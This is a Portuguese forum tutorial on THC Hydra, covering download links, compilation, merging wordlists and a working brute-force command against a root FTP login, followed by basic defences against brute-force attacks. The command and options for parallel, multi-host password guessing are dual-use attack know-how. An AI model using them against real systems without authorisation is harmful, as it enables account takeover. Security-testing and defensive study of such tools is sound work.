O Hydra tem um desempenho muito bom (utiliza threads paralelas, dividindo as senhas e nomes de usuários entre estas threads diminuindo o tempo levado para ele conseguir adivinhar a senha) e consegue efetuar com sucesso ataques brute force nos protocolos TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, REXEC, RSH, RLOGIN, CVS, SNMP, SMTP-AUTH, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS, ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, Cisco auth, Cisco enable, LDAP2, Cisco AAA. Além disso, está em constante desenvolvimento e é completamente gratuito com o código-fonte 100% disponível. Ele ainda possui uma interface gráfica, o HydraGTK. Ela é completamente independente do software e não precisa ser compilada para que você consiga utilizá-lo. Porém, sem ela você só poderá utilizá-lo através da linha de comando.Você pode utilizar o Hydra em qualquer Unix como Linux, *BSD, Solaris, etc; Mac Os/X; no Windows utilizando o Cygwin; em dispositivos móveis que utilizem processadores ARM e Linux e em dispositivos que utilizem o PalmOS.

• Site Oficial: http://freeworld.thc.org/thc-hydra/

Seguem os links para que você possa fazer o download:
Para Unix: http://www.thc.org/releases/hydra-7.1-src.tar.gz
Para Windows/Cygwin: http://www.thc.org/thc-hydra/hydra-5.4-win.zip
Binário para o ARM: http://www.thc.org/thc-hydra/hydra-5.0-arm.tar.gz. Esta versão está um pouco desatualizada, mas em breve será disponibilizada uma nova versão.

Binário para o Palm: http://www.thc.org/thc-hydra/hydra-4.6-palm.zip. A versão para o Palm é desenvolvida de forma independente das outras, portanto nem todos os protocolos são suportados e os updates não são muito frequentes.

Compilando e instalando

Dependendo do pacote que você escolher, será necessário que você compile o software. Algumas releases como a disponível para Windows/Cygwin e ARM já contém tudo compilado e pronto para o uso, com todos os módulos (no port para o ARM você não poderá usar o módulo para SAP R/3).
Se você escolheu o pacote para Unix, você precisará instalar todas as bibliotecas necessárias para compilar os módulos corretamente. O serviço não é tão difícil, já que ao executar o ./configure, já será mostrado um resumo dizendo as bibliotecas que faltam e onde encontrá-las. Seguem os passos necessários para compilar com sucesso o Hydra em qualquer *nix.
Faça o download do pacote hydra-5.4-src.tar.gz aqui no www.darkers.com.br e descompacte:

Código:tar xzvf hydra-5.4-src.tar.gz

Acesse o diretório que acabou de ser criado e:

Código:
cd hydra-5.4-src./configure

Quando você executa o configure, algumas bibliotecas que são necessárias para alguns módulos como SSHv2 e PostgreSQL (libssh e libpq, respectivamente) são checadas e se não estiverem instaladas no sistema você deverá instalá-las na mão. A boa notícia é que o script já informa o site de onde você pode fazer o download e a maioria dessas bibliotecas já vem com instruções de como compilar. Vale a pena lembrar que, se você não quiser utilizar os módulos que precisam das bibliotecas, pode continuar a compilação normalmente: os outros protocolos irão funcionar sem problemas.
Depois que o ./configure terminar, só resta executar como root:

Código:
make && make install

Pronto! O Hydra já está instalado e pronto para ser usado!
Wordlists

Wordlists são, como o nome diz, listas gigantescas de palavras ou nomes de usuários que são utilizadas em ataques bruteforce. O Hydra não vem com nenhuma wordlist e não funciona sem uma, então você precisa dar um jeito nisso. Vou colocar alguns links com wordlists para você começar a brincar com o Hydra

http://www.outpost9.com/files/WordLists.htmlhttp://wordlist.sourceforge.net/

Depois que você baixar as listas, junte todas em um único arquivo. No Hydra, você só pode especificar um único arquivo de wordlists para ser utilizado. Você pode usar o cat. Por exemplo:
Código:
cat substitua isso por todos os arquivos de wordlists que você tem >> wordlist2.txt
É útil também remover entradas duplicadas da sua wordlist, para não perder tempo tentando mais de uma vez uma senha que já não deu certo:

Código:cat wordlist2.txt | sort | uniq > wordlistfinal.txt

Pronto, agora é só fazer o Hydra utilizar o arquivo wordlistfinal.txt como wordlist.


Utilizando o Hydra

O Hydra é bem fácil de ser utilizado. Você só precisa especificar o login (ou um arquivo com vários logins), a wordlist com senhas, o host e o protocolo. Se desejar pode fazer com que a saída do comando seja escrita em algum arquivo. Na linha a seguir, mostro o uso básico do Hydra:

Código:hydra -l root -P ~/wordlistfinal.txt -o bruteforce.txt ftp.foo.bar ftp

A linha acima é bem simples. A opção -l diz que você quer fazer brute force em um usuário específico que você já sabe que existe (você poderia usar a opção -L para utilizar um arquivo com vários logins); a opção -P específica qual wordlist será usada para ler as senhas (você poderia usar -p se soubesse uma senha, mas não soubesse de qual usuário é); -o escreve a saída do comando no arquivo bruteforce.txt; ftp.foo.bar é o nome do host que iremos atacar e ftp é o protocolo que o Hydra deve usar.

Se você por algum motivo precisar interromper a sessão do Hydra, pode começar de onde parou utilizando a opção -R no mesmo diretório em que você interrompeu a execução anterior.


Outras opções úteis são:

-s: Se o serviço estiver sendo executado em uma porta diferente, use esta opção para especificar a porta.
-t: Indica a quantidade de conexões paralelas no servidor
-M: Define uma lista de servidores a serem atacados
Como se proteger

Se proteger de ataques brute force não é tão difícil assim:


Forçar utilização de senhas seguras nos seus servidores. Senhas com caracteres especiais, letras maiúsculas e minúsculas, números e um comprimento de pelo menos 8 caracteres.

Determinar um número máximo de erros na tentativa de login.

Sempre monitore os log’s procurando por tentativas de login que falharam muitas vezes.

Onde puder, mude a porta padrão dos serviços sendo executados na sua máquina (por exemplo, se só você utilizar o SSH você pode mudar a porta dele de 22 para 45600, por exemplo. Isso diminui a incidência de ataques)

Onde possível, especifique o IP de origem que pode estabelecer a conexão com determinados serviços

Como se vê, é bem simples melhorar a segurança de seus serviços. Isso é o mínimo necessário para não ter muita dor de cabeça com qualquer pessoa que saia usando o Hydra e seus similares por aí. Porém estas não são as únicas técnicas e também não excluem a necessidade de verificação contínua nos log’s e conexões estabelecidas no servidor procurando por atividades suspeitas.

Conclusão

O Hydra é talvez a melhor ferramenta para ataques de brute force: tem um ótimo desempenho, é multiplataforma e várias opções úteis, além disso está em desenvolvimento constante e novas versões são lançadas frequentemente (não há um ciclo de release definido).


Creditos : Forum Darkers